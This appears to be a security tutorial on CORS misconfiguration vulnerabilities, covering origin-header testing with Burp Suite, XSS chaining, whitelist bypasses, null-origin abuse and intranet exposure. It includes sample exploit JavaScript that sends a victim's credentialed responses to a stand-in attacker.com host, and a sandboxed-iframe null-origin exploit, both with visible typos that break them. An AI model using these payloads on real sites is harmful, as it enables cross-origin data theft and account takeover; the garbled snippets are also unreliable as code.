CORS vulnerability

The vulnerability is a mechanism for accessing data of other origins through AJAX[1] requests.

Sites use CORS to bypass the SOP[2] and access other ORIGIN resources.

If CORS is not implemented properly, the hacker can send a request to the target (for example, APIs) and introduce itself as a valid ORIGIN and access specific target resources.

With this vulnerability, a Credential series can be stolen from the target site or CSRF[3] attacks can be scripted.

Perform CORS vulnerability testing on domain.com:

1 - Consider a path such as domain.com/wp-json.

2 - We receive the request through BURP SUITE[4].

3 - I add the parameter (origin: attacker.com) to the header section of the request.

4 - If our data showed and was in response to the following statements, it means that there is a vulnerability

Sample output :

Access-control-Allow-origin: https://attacker.com

Access-control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE. .......

Access-control-Allow-Credentials: true

A series of important points about the CORS vulnerability:

1 -The CORS vulnerability in the perfect case for a hacker leads to Account Takeover.

2 - If CORS is not well configured, it can cause CORS vulnerabilities due to incomplete cross origin request sharing configuration.CORS was created to solve the SOP problem.SOP checked the port, protocol, and host, and then allowed communication and information exchange.As a result, browsers were not allowed to communicate with other origins by default, and access was denied.But sometimes sites have to communicate with each other to access a photo, script, etc., and in this case it is possible to allow a series of separate headers on the requests to go from path / path "X" to aSpecific file accessed.

Mitigation CORS

-Trust the domain name.

-The information we want to share.

-Record the required methods.

If this item is not configured correctly, the hacker can access the resources by entering the origin value in the request header.

Perform several CORS scenarios

1 - Combined XSS[5] and CORS:

Even if CORS is configured correctly, it establishes a connection between the 2 origin ---> If the origin and trusted website has an xss vulnerability, the hacker can use the trusted site for his attacks.

The vulnerable site does the CORS operation well with the trusted site, but the trusted site has the xss vulnerability.

https://domain.com/?xss=”XSS-CODE !!!”

2 – Redirect data from target to attacker

Sample exploit :

function 
reqlistener(){console.log(`http://attacker.com/rec=${this.responseText})`;};
var req = new XMLHttpReuest();
req. = reqlistener;req.open("GET", "http://domain.com/sensitive-endpoint", true);
req.withCredentials = true;req.send();

Note: Some websites use a number of roles to access domains; For example: Our target site established a CORS connection with domain-trusted.com. Ways to bypass such roles:

1- A hacker creates a domain called attacker.com.

2- The hacker creates a subdomain called a trusted site, such as (domain-trusted.com.attacker.com).

3- When the target site defines white listed null origin, it is for the website to be able to access internal directory structures and the way to identify it is to give the origin parameter a null value (origin: null).

How to abuse null origin Use the iframe tag and send a request inside the iframe tag and send the iframe sandbox to the target site in the following format:

Null origin Exploit:

<iframe src="data:text/html" sandbox="allow-scripts allow-top-navigation allow-forms">
function reqlistener() { console.log(this.responseText) }
var req = new XMLHttpRequest();
req. = reqlistener();
req.open("GET", 'vulnrableSite.com/sensitive', true);
req.withCredentials = true;
req.send();
</iframe>

Intranets & CORS without credentials:

Most CORS attacks depend on the following line in the server response:

Access-Control-Allow-Credential: true

Without this line in the header, the victim browser refuses to send its cookies[6].

The important point is that an attacker can not connect directly to a website because it may be part of the organization's intranet and have a private IP.

We know that internal websites usually have lower security than websites in public space.

All of these reasons cause the attacker to try to infiltrate the organization's internal sites.

For example, a domain cross-request in a private network could be as follows:

GET //reader?file=doc.pdf

HOST: internal.co.com

ORIGIN: https://normal-website.com

In response to the above request, the server gives the following answer:

HTTP/1.1 200 OK

Access-cotrol-Allow-Origin: *

The server trusts and responds to requests for trusted resources and domains without checking credentials. If users within the organization (in the privateIP section) access public Internet, it causes a CORS attack, which can be through an external site and use the browser of the company's employees as a proxy to access sensitive internal information.

[1]https://en.wikipedia.org/wiki/Ajax_(programming)

[2]https://en.wikipedia.org/wiki/Same-origin_policy

[3]https://owasp.org/www-community/attacks/csrf

[4]https://portswigger.net/burp

[5]https://owasp.org/www-community/attacks/xss/

[6]https://en.wikipedia.org/wiki/HTTP_cookie

Resources:

1 - https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

2 - https://www.tenable.com/blog/understanding-cross-origin-resource-sharing-vulnerabilities

3 - https://owasp.org/www-community/attacks/CORS_OriginHeaderScrutiny

About the Author